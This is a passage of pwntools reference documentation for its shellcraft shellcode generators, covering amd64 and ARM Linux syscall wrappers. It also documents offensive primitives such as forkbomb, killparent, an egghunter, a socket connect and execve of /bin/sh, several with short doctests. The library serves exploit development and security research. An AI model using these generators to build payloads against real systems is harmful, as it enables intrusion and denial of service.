- **timerid** (*timer_t*) – timerid
- **flags** (*int*) – flags
- **value** (*itimerspec*) – value
- **ovalue** (*itimerspec*) – ovalue

`pwnlib.shellcraft.amd64.linux.truncate` (*file, length*)
 Invokes the syscall `truncate`. See ‘man 2 `truncate`’ for more information.

Parameters

- **file** (*char*) – file
- **length** (*off_t*) – length

`pwnlib.shellcraft.amd64.linux.truncate64` (*file, length*)
 Invokes the syscall `truncate64`. See ‘man 2 `truncate64`’ for more information.

Parameters

- **file** (*char*) – file
- **length** (*off64_t*) – length

`pwnlib.shellcraft.amd64.linux.ulimit` (*cmd, vararg*)
 Invokes the syscall `ulimit`. See ‘man 2 `ulimit`’ for more information.

Parameters

- **cmd** (*int*) – cmd
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.amd64.linux.umask` (*mask*)
 Invokes the syscall `umask`. See ‘man 2 `umask`’ for more information.

Parameters **mask** (*mode_t*) – mask

`pwnlib.shellcraft.amd64.linux.uname` (*name*)
 Invokes the syscall `uname`. See ‘man 2 `uname`’ for more information.

Parameters **name** (*utsname*) – name

`pwnlib.shellcraft.amd64.linux.unlink` (*name*)
 Invokes the syscall `unlink`. See ‘man 2 `unlink`’ for more information.

Parameters **name** (*char*) – name

`pwnlib.shellcraft.amd64.linux.unlinkat` (*fd, name, flag*)
 Invokes the syscall `unlinkat`. See ‘man 2 `unlinkat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **name** (*char*) – name
- **flag** (*int*) – flag

`pwnlib.shellcraft.amd64.linux.unshare` (*flags*)

Invokes the syscall `unshare`. See ‘man 2 `unshare`’ for more information.

Parameters `flags` (*int*) – flags

`pwnlib.shellcraft.amd64.linux.ustat` (*dev, ubuf*)

Invokes the syscall `ustat`. See ‘man 2 `ustat`’ for more information.

Parameters

- `dev` (*dev_t*) – dev
- `ubuf` (*ustat*) – ubuf

`pwnlib.shellcraft.amd64.linux.utime` (*file, file_times*)

Invokes the syscall `utime`. See ‘man 2 `utime`’ for more information.

Parameters

- `file` (*char*) – file
- `file_times` (*utimbuf*) – file_times

`pwnlib.shellcraft.amd64.linux.utimensat` (*fd, path, times, flags*)

Invokes the syscall `utimensat`. See ‘man 2 `utimensat`’ for more information.

Parameters

- `fd` (*int*) – fd
- `path` (*char*) – path
- `times` (*timespec*) – times
- `flags` (*int*) – flags

`pwnlib.shellcraft.amd64.linux.utimes` (*file, tvp*)

Invokes the syscall `utimes`. See ‘man 2 `utimes`’ for more information.

Parameters

- `file` (*char*) – file
- `tvp` (*timeval*) – tvp

`pwnlib.shellcraft.amd64.linux.vfork` ()

Invokes the syscall `vfork`. See ‘man 2 `vfork`’ for more information.

Arguments:

`pwnlib.shellcraft.amd64.linux.vhangup` ()

Invokes the syscall `vhangup`. See ‘man 2 `vhangup`’ for more information.

Arguments:

`pwnlib.shellcraft.amd64.linux.vmsplice` (*fdout, iov, count, flags*)

Invokes the syscall `vmsplice`. See ‘man 2 `vmsplice`’ for more information.

Parameters

- `fdout` (*int*) – fdout
- `iov` (*iovec*) – iov
- `count` (*size_t*) – count
- `flags` (*unsigned*) – flags

`pwnlib.shellcraft.amd64.linux.wait4` (*pid, stat_loc, options, usage*)

Invokes the syscall `wait4`. See ‘man 2 `wait4`’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **stat_loc** (*WAIT_STATUS*) – stat_loc
- **options** (*int*) – options
- **usage** (*rusage*) – usage

`pwnlib.shellcraft.amd64.linux.waitid` (*idtype, id, infop, options*)

Invokes the syscall `waitid`. See ‘man 2 `waitid`’ for more information.

Parameters

- **idtype** (*idtype_t*) – idtype
- **id** (*id_t*) – id
- **infop** (*siginfo_t*) – infop
- **options** (*int*) – options

`pwnlib.shellcraft.amd64.linux.waitpid` (*pid, stat_loc, options*)

Invokes the syscall `waitpid`. See ‘man 2 `waitpid`’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **stat_loc** (*int*) – stat_loc
- **options** (*int*) – options

`pwnlib.shellcraft.amd64.linux.write` (*fd, buf, n*)

Invokes the syscall `write`. See ‘man 2 `write`’ for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*void*) – buf
- **n** (*size_t*) – n

`pwnlib.shellcraft.amd64.linux.writeloop` (*readsock=0, writesock=1*)

Reads from a buffer of a size and location determined at runtime. When the shellcode is executing, it should send a pointer and pointer-width size to determine the location and size of buffer.

`pwnlib.shellcraft.amd64.linux.writev` (*fd, iovec, count*)

Invokes the syscall `writev`. See ‘man 2 `writev`’ for more information.

Parameters

- **fd** (*int*) – fd
- **iovec** (*iovec*) – iovec
- **count** (*int*) – count

pwnlib.shellcraft.arm — Shellcode for ARM

pwnlib.shellcraft.arm

Shellcraft module containing generic ARM little endian shellcodes.

`pwnlib.shellcraft.arm.crash()`
Crash.

Example

```
>>> run_assembly(shellcraft.crash()).poll(True)
-11
```

`pwnlib.shellcraft.arm.infloop()`
An infinite loop.

`pwnlib.shellcraft.arm.itoa(v, buffer='sp', allocate_stack=True)`
Converts an integer into its string representation, and pushes it onto the stack. Uses registers r0-r5.

Parameters

- **v** (*str*, *int*) – Integer constant or register that contains the value to convert.
- **allocate_stack** (*bool*) – Can the stack be used?

Example

```
>>> sc = shellcraft.arm.mov('r0', 0xdeadbeef)
>>> sc += shellcraft.arm.itoa('r0')
>>> sc += shellcraft.arm.linux.write(1, 'sp', 32)
>>> run_assembly(sc).recvuntil(b'\x00')
b'3735928559\x00'
```

`pwnlib.shellcraft.arm.memcpy(dest, src, n)`
Copies memory.

Parameters

- **dest** – Destination address
- **src** – Source address
- **n** – Number of bytes

`pwnlib.shellcraft.arm.mov(dst, src)`
Move src into dest.

Support for automatically avoiding newline and null bytes has to be done.

If `src` is a string that is not a register, then it will locally set `context.arch` to `'arm'` and use `pwnlib.constants.eval()` to evaluate the string. Note that this means that this shellcode can change behavior depending on the value of `context.os`.

Examples

```

>>> print(shellcraft.arm.mov('r0', 'r1').rstrip())
mov r0, r1
>>> print(shellcraft.arm.mov('r0', 5).rstrip())
mov r0, #5
>>> print(shellcraft.arm.mov('r0', 0x34532).rstrip())
movw r0, #0x34532 & 0xffff
movt r0, #0x34532 >> 16
>>> print(shellcraft.arm.mov('r0', 0x101).rstrip())
movw r0, #0x101
>>> print(shellcraft.arm.mov('r0', 0xff << 14).rstrip())
mov r0, #0x3fc000
>>> print(shellcraft.arm.mov('r0', 0xff << 15).rstrip())
movw r0, #0x7f8000 & 0xffff
movt r0, #0x7f8000 >> 16
>>> print(shellcraft.arm.mov('r0', 0xf00d0000).rstrip())
eor r0, r0
movt r0, #0xf00d0000 >> 16
>>> print(shellcraft.arm.mov('r0', 0xffff00ff).rstrip())
mvn r0, #(0xffff00ff ^ (-1))
>>> print(shellcraft.arm.mov('r0', 0xffffffff).rstrip())
mvn r0, #(0xffffffff ^ (-1))

```

Parameters

- **dest** (*str*) – the destination register.
- **src** (*str*) – Either the input register, or an immediate value.

`pwnlib.shellcraft.arm.nop()`
A nop instruction.

`pwnlib.shellcraft.arm.push(word, register='r12')`
Pushes a 32-bit integer onto the stack. Uses r12 as a temporary register.

r12 is defined as the inter-procedural scratch register (\$ip), so this should not interfere with most usage.

Parameters

- **word** (*int, str*) – The word to push
- **tmpreg** (*str*) – Register to use as a temporary register. R7 is used by default.

`pwnlib.shellcraft.arm.pushstr(string, append_null=True, register='r7')`
Pushes a string onto the stack.

Parameters

- **string** (*bytes, str*) – The string to push.
- **append_null** (*bool*) – Whether to append a single NULL-byte before pushing.
- **register** (*str*) – Temporary register to use. By default, R7 is used.

Examples

```

>>> print(shellcraft.arm.pushstr("Hello!").rstrip())
/* push b'Hello!\x00A' */
movw r7, #0x4100216f & 0xffff

```

```

movt r7, #0x4100216f >> 16
push {r7}
movw r7, #0x6c6c6548 & 0xffff
movt r7, #0x6c6c6548 >> 16
push {r7}

```

`pwntools.shellcraft.arm.pushstr_array` (*reg*, *array*)
 Pushes an array/envp-style array of pointers onto the stack.

Parameters

- **reg** (*str*) – Destination register to hold the pointer.
- **array** (*bytes*, *str*, *list*) – Single argument or list of arguments to push. NULL termination is normalized so that each argument ends with exactly one NULL byte.

`pwntools.shellcraft.arm.ret` (*return_value=None*)
 A single-byte RET instruction.

Parameters `return_value` – Value to return

Examples

```

>>> with context.local(arch='arm'):
...     print(enhex(asm(shellcraft.ret())))
...     print(enhex(asm(shellcraft.ret(0))))
...     print(enhex(asm(shellcraft.ret(0xdeadbeef))))
1eff2fe1
000020e01eff2fe1
ef0e0be3ad0e4de31eff2fe1

```

`pwntools.shellcraft.arm.setregs` (*reg_context*, *stack_allowed=True*)
 Sets multiple registers, taking any register dependencies into account (i.e., given `eax=1,ebx=eax`, set `ebx` first).

Parameters

- **reg_context** (*dict*) – Desired register context
- **stack_allowed** (*bool*) – Can the stack be used?

Example

```

>>> print(shellcraft.setregs({'r0': 1, 'r2': 'r3'}).rstrip())
mov r0, #1
mov r2, r3
>>> print(shellcraft.setregs({'r0': 'r1', 'r1': 'r0', 'r2': 'r3'}).rstrip())
mov r2, r3
eor r0, r0, r1 /* xchg r0, r1 */
eor r1, r0, r1
eor r0, r0, r1

```

`pwntools.shellcraft.arm.to_thumb` (*reg=None*, *avoid=[]*)
 Go from ARM to THUMB mode.

`pwntools.shellcraft.arm.trap` ()
 A trap instruction.

`pwntools.shellcraft.arm.udiv_10` (*N*)
 Divides `r0` by 10. Result is stored in `r0`, `N` and `Z` flags are updated.

Code is from generated from here: <https://raw.githubusercontent.com/rofirrim/raspberry-pi-assembler/master/chapter15/magic.py>

With code: `python magic.py 10 code_for_unsigned`

`pwnlib.shellcraft.arm.xor` (*key*, *address*, *count*)
XORs data a constant value.

Parameters

- **key** (*int*, *bytes*, *str*) – XOR key either as a 4-byte integer, If a string, length must be a power of two, and not longer than 4 bytes.
- **address** (*int*) – Address of the data (e.g. `0xdead0000`, `'rsp'`)
- **count** (*int*) – Number of bytes to XOR.

Example

```
>>> sc = shellcraft.read(0, 'sp', 32)
>>> sc += shellcraft.xor(0xdeadbeef, 'sp', 32)
>>> sc += shellcraft.write(1, 'sp', 32)
>>> io = run_assembly(sc)
>>> io.send(cyclic(32))
>>> result = io.recv(32)
>>> expected = xor(cyclic(32), p32(0xdeadbeef))
>>> result == expected
True
```

`pwnlib.shellcraft.arm.linux`

Shellcraft module containing ARM shellcodes for Linux.

`pwnlib.shellcraft.arm.linux.accept` (*fd*, *addr*, *addr_len*)
Invokes the syscall `accept`. See ‘man 2 `accept`’ for more information.

Parameters

- **fd** (*int*) – `fd`
- **addr** (*SOCKADDR_ARG*) – `addr`
- **addr_len** (*socklen_t*) – `addr_len`

`pwnlib.shellcraft.arm.linux.access` (*name*, *type*)
Invokes the syscall `access`. See ‘man 2 `access`’ for more information.

Parameters

- **name** (*char*) – `name`
- **type** (*int*) – `type`

`pwnlib.shellcraft.arm.linux.acct` (*name*)
Invokes the syscall `acct`. See ‘man 2 `acct`’ for more information.

Parameters *name* (*char*) – `name`

`pwnlib.shellcraft.arm.linux.alarm` (*seconds*)
Invokes the syscall `alarm`. See ‘man 2 `alarm`’ for more information.

Parameters *seconds* (*unsigned*) – `seconds`

`pwnlib.shellcraft.arm.linux.bind` (*fd, addr, length*)
Invokes the syscall `bind`. See ‘man 2 bind’ for more information.

Parameters

- **fd** (*int*) – fd
- **addr** (*CONST_SOCKADDR_ARG*) – addr
- **len** (*socklen_t*) – len

`pwnlib.shellcraft.arm.linux.brk` (*addr*)
Invokes the syscall `brk`. See ‘man 2 brk’ for more information.

Parameters **addr** (*void*) – addr

`pwnlib.shellcraft.arm.linux.cacheflush` ()
Invokes the cache-flush operation, without using any NULL or newline bytes.

Effectively is just:

```
mov r0, #0 mov r1, #-1 mov r2, #0 swi 0x9F0002
```

How this works:

... However, SWI generates a software interrupt and to the interrupt handler, 0x9F0002 is actually data and as a result will not be read via the instruction cache, so if we modify the argument to SWI in our self-modifying code, the argument will be read correctly.

`pwnlib.shellcraft.arm.linux.cat` (*filename, fd=1*)
Opens a file and writes its contents to the specified file descriptor.

Example

```
>>> f = tempfile.mktemp()
>>> write(f, 'FLAG\n')
>>> run_assembly(shellcraft.arm.linux.cat(f)).recvline()
b'FLAG\n'
```

`pwnlib.shellcraft.arm.linux.chdir` (*path*)
Invokes the syscall `chdir`. See ‘man 2 chdir’ for more information.

Parameters **path** (*char*) – path

`pwnlib.shellcraft.arm.linux.chmod` (*file, mode*)
Invokes the syscall `chmod`. See ‘man 2 chmod’ for more information.

Parameters

- **file** (*char*) – file
- **mode** (*mode_t*) – mode

`pwnlib.shellcraft.arm.linux.chown` (*file, owner, group*)
Invokes the syscall `chown`. See ‘man 2 chown’ for more information.

Parameters

- **file** (*char*) – file
- **owner** (*uid_t*) – owner
- **group** (*gid_t*) – group

`pwnlib.shellcraft.arm.linux.chroot` (*path*)

Invokes the syscall `chroot`. See ‘man 2 `chroot`’ for more information.

Parameters `path` (*char*) – path

`pwnlib.shellcraft.arm.linux.clock_getres` (*clock_id, res*)

Invokes the syscall `clock_getres`. See ‘man 2 `clock_getres`’ for more information.

Parameters

- `clock_id` (*clockid_t*) – clock_id
- `res` (*timespec*) – res

`pwnlib.shellcraft.arm.linux.clock_gettime` (*clock_id, tp*)

Invokes the syscall `clock_gettime`. See ‘man 2 `clock_gettime`’ for more information.

Parameters

- `clock_id` (*clockid_t*) – clock_id
- `tp` (*timespec*) – tp

`pwnlib.shellcraft.arm.linux.clock_nanosleep` (*clock_id, flags, req, rem*)

Invokes the syscall `clock_nanosleep`. See ‘man 2 `clock_nanosleep`’ for more information.

Parameters

- `clock_id` (*clockid_t*) – clock_id
- `flags` (*int*) – flags
- `req` (*timespec*) – req
- `rem` (*timespec*) – rem

`pwnlib.shellcraft.arm.linux.clock_settime` (*clock_id, tp*)

Invokes the syscall `clock_settime`. See ‘man 2 `clock_settime`’ for more information.

Parameters

- `clock_id` (*clockid_t*) – clock_id
- `tp` (*timespec*) – tp

`pwnlib.shellcraft.arm.linux.clone` (*fn, child_stack, flags, arg, vararg*)

Invokes the syscall `clone`. See ‘man 2 `clone`’ for more information.

Parameters

- `fn` (*int*) – fn
- `child_stack` (*void*) – child_stack
- `flags` (*int*) – flags
- `arg` (*void*) – arg
- `vararg` (*int*) – vararg

`pwnlib.shellcraft.arm.linux.close` (*fd*)

Invokes the syscall `close`. See ‘man 2 `close`’ for more information.

Parameters `fd` (*int*) – fd

`pwnlib.shellcraft.arm.linux.connect` (*host, port, network='ipv4'*)

Connects to the host on the specified port. Network is either ‘ipv4’ or ‘ipv6’. Leaves the connected socket in R6.

`pwntools.shellcraft.arm.linux.creat` (*file, mode*)
Invokes the syscall `creat`. See ‘man 2 creat’ for more information.

Parameters

- **file** (*char*) – file
- **mode** (*mode_t*) – mode

`pwntools.shellcraft.arm.linux.dir` (*in_fd='r6', size=2048, allocate_stack=True*)
Reads to the stack from a directory.

Parameters

- **in_fd** (*int/str*) – File descriptor to be read from.
- **size** (*int*) – Buffer size.
- **allocate_stack** (*bool*) – allocate ‘size’ bytes on the stack.

You can optionally shave a few bytes not allocating the stack space.

The size read is left in `eax`.

`pwntools.shellcraft.arm.linux.dup` (*fd*)
Invokes the syscall `dup`. See ‘man 2 dup’ for more information.

Parameters **fd** (*int*) – fd

`pwntools.shellcraft.arm.linux.dup2` (*fd, fd2*)
Invokes the syscall `dup2`. See ‘man 2 dup2’ for more information.

Parameters

- **fd** (*int*) – fd
- **fd2** (*int*) – fd2

`pwntools.shellcraft.arm.linux.dup3` (*fd, fd2, flags*)
Invokes the syscall `dup3`. See ‘man 2 dup3’ for more information.

Parameters

- **fd** (*int*) – fd
- **fd2** (*int*) – fd2
- **flags** (*int*) – flags

`pwntools.shellcraft.arm.linux.echo` (*string, sock='1'*)
Writes a string to a file descriptor

Example

```
>>> run_assembly(shellcraft.echo('hello\n', 1)).recvline()
b'hello\n'
```

`pwntools.shellcraft.arm.linux.egghunter` (*egg, start_address=0, double_check=True*)
Searches for an egg, which is either a four byte integer or a four byte string. The egg must appear twice in a row if `double_check` is `True`. When the egg has been found the `egghunter` branches to the address following it. If `start_address` has been specified search will start on the first address of the page that contains that address.

`pwntools.shellcraft.arm.linux.epoll_create` (*size*)
Invokes the syscall `epoll_create`. See ‘man 2 epoll_create’ for more information.

Parameters `size (int)` – size

`pwnlib.shellcraft.arm.linux.epoll_create1 (flags)`

Invokes the syscall `epoll_create1`. See ‘man 2 `epoll_create1`’ for more information.

Parameters `flags (int)` – flags

`pwnlib.shellcraft.arm.linux.epoll_ctl (epfd, op, fd, event)`

Invokes the syscall `epoll_ctl`. See ‘man 2 `epoll_ctl`’ for more information.

Parameters

- `epfd (int)` – epfd
- `op (int)` – op
- `fd (int)` – fd
- `event (epoll_event)` – event

`pwnlib.shellcraft.arm.linux.epoll_pwait (epfd, events, maxevents, timeout, ss)`

Invokes the syscall `epoll_pwait`. See ‘man 2 `epoll_pwait`’ for more information.

Parameters

- `epfd (int)` – epfd
- `events (epoll_event)` – events
- `maxevents (int)` – maxevents
- `timeout (int)` – timeout
- `ss (sigset_t)` – ss

`pwnlib.shellcraft.arm.linux.epoll_wait (epfd, events, maxevents, timeout)`

Invokes the syscall `epoll_wait`. See ‘man 2 `epoll_wait`’ for more information.

Parameters

- `epfd (int)` – epfd
- `events (epoll_event)` – events
- `maxevents (int)` – maxevents
- `timeout (int)` – timeout

`pwnlib.shellcraft.arm.linux.execve (path='/bin//sh', argv=[], envp={})`

Execute a different process.

```

>>> path = '/bin/sh'
>>> argv = ['sh', '-c', 'echo Hello, $NAME; exit $STATUS']
>>> envp = {'NAME': 'zerocool', 'STATUS': '3'}
>>> sc = shellcraft.arm.linux.execve(path, argv, envp)
>>> io = run_assembly(sc)
>>> io.recvall()
b'Hello, zerocool\n'
>>> io.poll(True)
3
```

`pwnlib.shellcraft.arm.linux.exit (status)`

Invokes the syscall `exit`. See ‘man 2 `exit`’ for more information.

Parameters `status (int)` – status

`pwnlib.shellcraft.arm.linux.faccessat` (*fd, file, type, flag*)

Invokes the syscall `faccessat`. See ‘man 2 `faccessat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **type** (*int*) – type
- **flag** (*int*) – flag

`pwnlib.shellcraft.arm.linux.fallocate` (*fd, mode, offset, length*)

Invokes the syscall `fallocate`. See ‘man 2 `fallocate`’ for more information.

Parameters

- **fd** (*int*) – fd
- **mode** (*int*) – mode
- **offset** (*off_t*) – offset
- **len** (*off_t*) – len

`pwnlib.shellcraft.arm.linux.fchdir` (*fd*)

Invokes the syscall `fchdir`. See ‘man 2 `fchdir`’ for more information.

Parameters **fd** (*int*) – fd

`pwnlib.shellcraft.arm.linux.fchmod` (*fd, mode*)

Invokes the syscall `fchmod`. See ‘man 2 `fchmod`’ for more information.

Parameters

- **fd** (*int*) – fd
- **mode** (*mode_t*) – mode

`pwnlib.shellcraft.arm.linux.fchmodat` (*fd, file, mode, flag*)

Invokes the syscall `fchmodat`. See ‘man 2 `fchmodat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **mode** (*mode_t*) – mode
- **flag** (*int*) – flag

`pwnlib.shellcraft.arm.linux.fchown` (*fd, owner, group*)

Invokes the syscall `fchown`. See ‘man 2 `fchown`’ for more information.

Parameters

- **fd** (*int*) – fd
- **owner** (*uid_t*) – owner
- **group** (*gid_t*) – group

`pwnlib.shellcraft.arm.linux.fchownat` (*fd, file, owner, group, flag*)

Invokes the syscall `fchownat`. See ‘man 2 `fchownat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **owner** (*uid_t*) – owner
- **group** (*gid_t*) – group
- **flag** (*int*) – flag

`pwnlib.shellcraft.arm.linux.fcntl` (*fd, cmd, vararg*)
 Invokes the syscall `fcntl`. See ‘man 2 `fcntl`’ for more information.

Parameters

- **fd** (*int*) – fd
- **cmd** (*int*) – cmd
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.arm.linux.fdatasync` (*filides*)
 Invokes the syscall `fdatasync`. See ‘man 2 `fdatasync`’ for more information.

Parameters **filides** (*int*) – filides

`pwnlib.shellcraft.arm.linux.flock` (*fd, operation*)
 Invokes the syscall `flock`. See ‘man 2 `flock`’ for more information.

Parameters

- **fd** (*int*) – fd
- **operation** (*int*) – operation

`pwnlib.shellcraft.arm.linux.fork` ()
 Invokes the syscall `fork`. See ‘man 2 `fork`’ for more information.

Arguments:

`pwnlib.shellcraft.arm.linux.forkbomb` ()
 Performs a `forkbomb` attack.

`pwnlib.shellcraft.arm.linux.forkexit` ()
 Attempts to fork. If the fork is successful, the parent exits.

`pwnlib.shellcraft.arm.linux.fstat` (*fd, buf*)
 Invokes the syscall `fstat`. See ‘man 2 `fstat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*stat*) – buf

`pwnlib.shellcraft.arm.linux.fstat64` (*fd, buf*)
 Invokes the syscall `fstat64`. See ‘man 2 `fstat64`’ for more information.

Parameters

- **fd** (*int*) – fd
- **buf** (*stat64*) – buf

`pwnlib.shellcraft.arm.linux.fstatat64` (*fd, file, buf, flag*)
 Invokes the syscall `fstatat64`. See ‘man 2 `fstatat64`’ for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **buf** (*stat64*) – buf
- **flag** (*int*) – flag

`pwnlib.shellcraft.arm.linux.fsync` (*fd*)

Invokes the syscall `fsync`. See ‘man 2 `fsync`’ for more information.

Parameters **fd** (*int*) – fd

`pwnlib.shellcraft.arm.linux.ftruncate` (*fd*, *length*)

Invokes the syscall `ftruncate`. See ‘man 2 `ftruncate`’ for more information.

Parameters

- **fd** (*int*) – fd
- **length** (*off_t*) – length

`pwnlib.shellcraft.arm.linux.ftruncate64` (*fd*, *length*)

Invokes the syscall `ftruncate64`. See ‘man 2 `ftruncate64`’ for more information.

Parameters

- **fd** (*int*) – fd
- **length** (*off64_t*) – length

`pwnlib.shellcraft.arm.linux.futimesat` (*fd*, *file*, *tvp*)

Invokes the syscall `futimesat`. See ‘man 2 `futimesat`’ for more information.

Parameters

- **fd** (*int*) – fd
- **file** (*char*) – file
- **tvp** (*timeval*) – tvp

`pwnlib.shellcraft.arm.linux.getcwd` (*buf*, *size*)

Invokes the syscall `getcwd`. See ‘man 2 `getcwd`’ for more information.

Parameters

- **buf** (*char*) – buf
- **size** (*size_t*) – size

`pwnlib.shellcraft.arm.linux.getdents` (*fd*, *dirp*, *count*)

Invokes the syscall `getdents`. See ‘man 2 `getdents`’ for more information.

Parameters

- **fd** (*int*) – fd
- **dirp** (*int*) – dirp
- **count** (*int*) – count

`pwnlib.shellcraft.arm.linux.getegid` ()

Invokes the syscall `getegid`. See ‘man 2 `getegid`’ for more information.

Arguments:

`pwnlib.shellcraft.arm.linux.geteuid()`
 Invokes the syscall `geteuid`. See ‘man 2 `geteuid`’ for more information.

Arguments:

`pwnlib.shellcraft.arm.linux.getgid()`
 Invokes the syscall `getgid`. See ‘man 2 `getgid`’ for more information.

Arguments:

`pwnlib.shellcraft.arm.linux.getgroups(size, list)`
 Invokes the syscall `getgroups`. See ‘man 2 `getgroups`’ for more information.

Parameters

- **size** (*int*) – size
- **list** (*gid_t*) – list

`pwnlib.shellcraft.arm.linux.getitimer(which, value)`
 Invokes the syscall `getitimer`. See ‘man 2 `getitimer`’ for more information.

Parameters

- **which** (*itimer_which_t*) – which
- **value** (*itimerval*) – value

`pwnlib.shellcraft.arm.linux.getpeername(fd, addr, length)`
 Invokes the syscall `getpeername`. See ‘man 2 `getpeername`’ for more information.

Parameters

- **fd** (*int*) – fd
- **addr** (*SOCKADDR_ARG*) – addr
- **len** (*socklen_t*) – len

`pwnlib.shellcraft.arm.linux.getpgid(pid)`
 Invokes the syscall `getpgid`. See ‘man 2 `getpgid`’ for more information.

Parameters **pid** (*pid_t*) – pid

`pwnlib.shellcraft.arm.linux.getpgrp()`
 Invokes the syscall `getpgrp`. See ‘man 2 `getpgrp`’ for more information.

Arguments:

`pwnlib.shellcraft.arm.linux.getpid()`
 Invokes the syscall `getpid`. See ‘man 2 `getpid`’ for more information.

Arguments:

`pwnlib.shellcraft.arm.linux.getpmsg(fildes, ctlptr, dataptr, bandp, flagsp)`
 Invokes the syscall `getpmsg`. See ‘man 2 `getpmsg`’ for more information.

Parameters

- **fildes** (*int*) – fildes
- **ctlptr** (*strbuf*) – ctlptr
- **dataptr** (*strbuf*) – dataptr
- **bandp** (*int*) – bandp
- **flagsp** (*int*) – flagsp

`pwnlib.shellcraft.arm.linux.getppid()`

Invokes the syscall `getppid`. See ‘man 2 `getppid`’ for more information.

Arguments:

`pwnlib.shellcraft.arm.linux.getpriority(which, who)`

Invokes the syscall `getpriority`. See ‘man 2 `getpriority`’ for more information.

Parameters

- **which** (*priority_which_t*) – which
- **who** (*id_t*) – who

`pwnlib.shellcraft.arm.linux.getresgid(rgid, egid, sgid)`

Invokes the syscall `getresgid`. See ‘man 2 `getresgid`’ for more information.

Parameters

- **rgid** (*gid_t*) – rgid
- **egid** (*gid_t*) – egid
- **sgid** (*gid_t*) – sgid

`pwnlib.shellcraft.arm.linux.getresuid(ruid, euid, suid)`

Invokes the syscall `getresuid`. See ‘man 2 `getresuid`’ for more information.

Parameters

- **ruid** (*uid_t*) – ruid
- **euid** (*uid_t*) – euid
- **suid** (*uid_t*) – suid

`pwnlib.shellcraft.arm.linux.getrlimit(resource, rlimits)`

Invokes the syscall `getrlimit`. See ‘man 2 `getrlimit`’ for more information.

Parameters

- **resource** (*rlimit_resource_t*) – resource
- **rlimits** (*rlimit*) – rlimits

`pwnlib.shellcraft.arm.linux.getrusage(who, usage)`

Invokes the syscall `getrusage`. See ‘man 2 `getrusage`’ for more information.

Parameters

- **who** (*rusage_who_t*) – who
- **usage** (*rusage*) – usage

`pwnlib.shellcraft.arm.linux.getsid(pid)`

Invokes the syscall `getsid`. See ‘man 2 `getsid`’ for more information.

Parameters **pid** (*pid_t*) – pid

`pwnlib.shellcraft.arm.linux.getsockname(fd, addr, length)`

Invokes the syscall `getsockname`. See ‘man 2 `getsockname`’ for more information.

Parameters

- **fd** (*int*) – fd
- **addr** (*SOCKADDR_ARG*) – addr
- **len** (*socklen_t*) – len

`pwnlib.shellcraft.arm.linux.getsockopt` (*fd*, *level*, *optname*, *optval*, *optlen*)
 Invokes the syscall `getsockopt`. See ‘man 2 `getsockopt`’ for more information.

Parameters

- **fd** (*int*) – fd
- **level** (*int*) – level
- **optname** (*int*) – optname
- **optval** (*void*) – optval
- **optlen** (*socklen_t*) – optlen

`pwnlib.shellcraft.arm.linux.gettimeofday` (*tv*, *tz*)
 Invokes the syscall `gettimeofday`. See ‘man 2 `gettimeofday`’ for more information.

Parameters

- **tv** (*timeval*) – tv
- **tz** (*timezone_ptr_t*) – tz

`pwnlib.shellcraft.arm.linux.getuid` ()
 Invokes the syscall `getuid`. See ‘man 2 `getuid`’ for more information.

Arguments:

`pwnlib.shellcraft.arm.linux.gtty` (*fd*, *params*)
 Invokes the syscall `gtty`. See ‘man 2 `gtty`’ for more information.

Parameters

- **fd** (*int*) – fd
- **params** (*sgttyb*) – params

`pwnlib.shellcraft.arm.linux.ioctl` (*fd*, *request*, *vararg*)
 Invokes the syscall `ioctl`. See ‘man 2 `ioctl`’ for more information.

Parameters

- **fd** (*int*) – fd
- **request** (*unsigned*) – request
- **vararg** (*int*) – vararg

`pwnlib.shellcraft.arm.linux.ioperm` (*from_*, *num*, *turn_on*)
 Invokes the syscall `ioperm`. See ‘man 2 `ioperm`’ for more information.

Parameters

- **from** (*unsigned*) – from
- **num** (*unsigned*) – num
- **turn_on** (*int*) – turn_on

`pwnlib.shellcraft.arm.linux.iopl` (*level*)
 Invokes the syscall `iopl`. See ‘man 2 `iopl`’ for more information.

Parameters **level** (*int*) – level

`pwnlib.shellcraft.arm.linux.kill` (*pid*, *sig*)
 Invokes the syscall `kill`. See ‘man 2 `kill`’ for more information.

Parameters

- **pid** (*pid_t*) – pid
- **sig** (*int*) – sig

`pwnlib.shellcraft.arm.linux.killparent()`

Kills its parent process until whatever the parent is (probably `init`) cannot be killed any longer.

`pwnlib.shellcraft.arm.linux.lchown(file, owner, group)`

Invokes the syscall `lchown`. See ‘man 2 `lchown`’ for more information.

Parameters

- **file** (*char*) – file
- **owner** (*uid_t*) – owner
- **group** (*gid_t*) – group

`pwnlib.shellcraft.arm.linux.link(from_, to)`

Invokes the syscall `link`. See ‘man 2 `link`’ for more information.

Parameters

- **from** (*char*) – from
- **to** (*char*) – to

`pwnlib.shellcraft.arm.linux.linkat(fromfd, from_, tofd, to, flags)`

Invokes the syscall `linkat`. See ‘man 2 `linkat`’ for more information.

Parameters

- **fromfd** (*int*) – fromfd
- **from** (*char*) – from
- **tofd** (*int*) – tofd
- **to** (*char*) – to
- **flags** (*int*) – flags

`pwnlib.shellcraft.arm.linux.listen(fd, n)`

Invokes the syscall `listen`. See ‘man 2 `listen`’ for more information.

Parameters

- **fd** (*int*) – fd
- **n** (*int*) – n

`pwnlib.shellcraft.arm.linux.lseek(fd, offset, whence)`

Invokes the syscall `lseek`. See ‘man 2 `lseek`’ for more information.

Parameters

- **fd** (*int*) – fd
- **offset** (*off_t*) – offset
- **whence** (*int*) – whence

`pwnlib.shellcraft.arm.linux.lstat(file, buf)`

Invokes the syscall `lstat`. See ‘man 2 `lstat`’ for more information.

Parameters

- **file** (*char*) – file

- **buf** (*stat*) – buf

`pwnlib.shellcraft.arm.linux.lstat64` (*file, buf*)

Invokes the syscall `lstat64`. See ‘man 2 `lstat64`’ for more information.

Parameters

- **file** (*char*) – file
- **buf** (*stat64*) – buf

`pwnlib.shellcraft.arm.linux.madvise` (*addr, length, advice*)

Invokes the syscall `madvise`. See ‘man 2 `madvise`’ for more information.

Parameters

